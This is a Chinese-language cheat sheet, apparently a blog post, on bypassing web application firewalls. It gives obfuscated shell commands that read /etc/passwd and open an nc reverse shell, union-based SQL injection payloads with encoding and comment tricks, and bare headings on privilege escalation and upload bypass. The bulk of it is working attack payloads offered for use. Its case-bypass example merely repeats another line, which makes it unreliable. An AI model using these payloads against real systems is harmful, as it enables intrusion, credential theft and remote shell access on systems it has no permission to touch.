漏洞利用之WAF绕过

目录扫描

第一:修改客户端ip

第二:减慢扫描速度

第三:通过代理欺骗waf

命令执行WAF绕过

1.通配符

符号 含义
匹配单个字符如果匹配多个字符,就需要多个?连用
* *代表任意数量的字符
[ ] 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个

利用通配符执行以下命令:

ls -l
使用通配符
/?in/?s -l

读取/etc/passwd:
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat /?tc/p?sswd

nc反弹shell

nc -e /bin/bash 127.0.0.1 3737
 /??n/?c -e /??n/b??h 127.0.0.1 3737

2.连接符

常见连接符:单双引号反斜杠 " " ‘ ’
例 :读取/etc/passwd

/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
/"b"i"n"/"w"h"i"c"h" "n"c
/b\i\n/w\h\i\c\h n\c

3.未初始化的bash变量

未初始化的变量值都是null,例如 a , a, a,b,在linux环境下输出都为null

读取/etc/passwd:

cat$a /etc$a/passwd$a

反弹shell:

/bin$s/nc$s -e /bin$s/bash$s 127.0.0.1 3737

SQL注入WAF绕过

规则层面绕过(waf采用了正则匹配等出入站规则)

1.大小写绕过

select * from users where id=1 ununionion selselectect 1,2,3;

2.替换关键字(关键字重写)

select * from users where id=1 ununionion selselectect 1,2,3;

3.编码

select * from users where id=1 union%0Aselect%0A1,2,3;//自测成功,但%2b不成功
select * from users where id=1 %75nion select 1,2,3;//自测成功

4.内联注释(使用注释)

select * from users where id=1 union/**/select/**/1,2,3;
/**/union/**/select/**/1,2,3,4 from admin
/*!and*/ 1=2 效果显著  此处感叹号为"非"的意思,意思是感叹号后面的不注释

5.等价函数

version()——> @@version 

提权过WAF

通过程序读密码

通过waf绕过神器

利用exp读hash

将用户添加到远程桌面组,并且给目录降权

利用第三方软件提权

上传绕过waf

上传突破禁止上传php文件

第一:文件包含

第二:双文件突破限制

第三:修改上传参数

你可能感兴趣的:(WAF绕过)